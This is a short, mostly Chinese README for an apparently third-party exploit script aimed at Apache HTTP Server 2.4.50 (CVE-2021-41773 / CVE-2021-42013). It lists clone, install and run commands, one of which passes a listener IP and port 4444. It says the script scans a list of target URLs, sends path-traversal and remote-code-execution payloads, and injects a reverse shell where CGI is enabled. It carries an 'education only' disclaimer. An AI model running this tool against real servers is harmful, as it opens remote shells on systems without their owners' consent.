此工具用于测试 Apache 服务器是否存在 CVE-2021-41773 / CVE-2021-42013 漏洞。它仅供教育目的使用,且只应在您拥有明确测试许可的系统上负责任地使用。
git clone https://github.com/Zyx2440/Apache-HTTP-Server-2.4.50-RCE.git
cd Apache-HTTP-Server-2.4.50-RCE
pip3 install requests~=2.27.1 termcolor~=1.1.0
pip3 install -r add_requirements.txt
python3 50512.py target.txt -ip <YourIp> -port <ThePort>
the text file should contain the url of the target
python3 50512.py target.txt -ip 10.0.2.15 -port 4444



Apache 版本检查:对于所提供文件中的每个 URL,它会检查服务器是否运行 Apache 2.4.50 版本。
如果服务器存在漏洞:它会尝试通过发送有效载荷来利用服务器,以触发目录遍历攻击或远程执行代码。 如果启用了 CGI:它会尝试注入反向 shell 有效载荷,以获得远程访问权限。
仅供教育使用:该脚本旨在用于教育目的,以演示如何测试和利用漏洞。对未授权目标使用此脚本是非法且不道德的。
修改目的:添加了额外的错误处理,优化了有效载荷逻辑和 RCE,并移除了 CVE。